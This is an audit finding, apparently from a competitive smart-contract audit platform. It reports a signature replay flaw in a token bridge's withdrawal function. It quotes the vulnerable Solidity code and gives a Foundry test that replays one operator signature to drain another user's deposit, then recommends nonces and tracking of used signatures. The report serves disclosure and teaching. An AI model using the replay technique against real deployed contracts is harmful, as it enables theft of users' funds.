Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signature reuse leading to replay attack

Summary

The signature issued by operator, can be replayed. Attacker can execute same signed signature multiple time.

Vulnerability Details

The sendToL1 function lacks proper measures to prevent the reuse of signatures, making it vulnerable to replay attacks. Attackers can execute the same signed signature multiple times.

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}

Impact

The attacker can drain all funds from the vault by repeatedly executing the malicious transaction.

PoC

Given:
Alice has 1000 tokens.
Bob has 3000 tokens.

  • Alice deposits 1000 tokens with depositTokensToL2().

  • The bridge operator signs a withdrawal request to Alice.

  • Alice withdraws tokens with the operator's signature.

  • Bob deposits 3000 tokens with depositTokensToL2().

  • Before Bob withdraws tokens, Alice can replay the same signature three times to obtain all tokens.

Result: The tokens from the vault have now been stolen, and Alice now has 4000 tokens.

Insert this test in L1TokenBridge.t.sol

function testUserCanUseSameSignature() public {
address victim = makeAddr("victim");
address victimInL2 = makeAddr("victimInL2");
uint256 depositAmount = 1000e18;
deal(address(token), user, depositAmount);
deal(address(token), victim, depositAmount * 3);
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
//Operator signs a withdrawal request
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
vm.startPrank(victim);
token.approve(address(tokenBridge), depositAmount * 3);
tokenBridge.depositTokensToL2(victim, victimInL2, depositAmount * 3);
vm.startPrank(user);
// Attacker use same signature to withdraw tokens
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
// Attacker successfully drained tokens
assertEq(token.balanceOf(address(user)), depositAmount * 4);
}

Tools Used

Manual Review

Recommendations

  1. Add nonce or timestamp in the signed data

  2. Ensure that used signatures cannot be reused

    • Create a mapping to keep track of used signatures

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.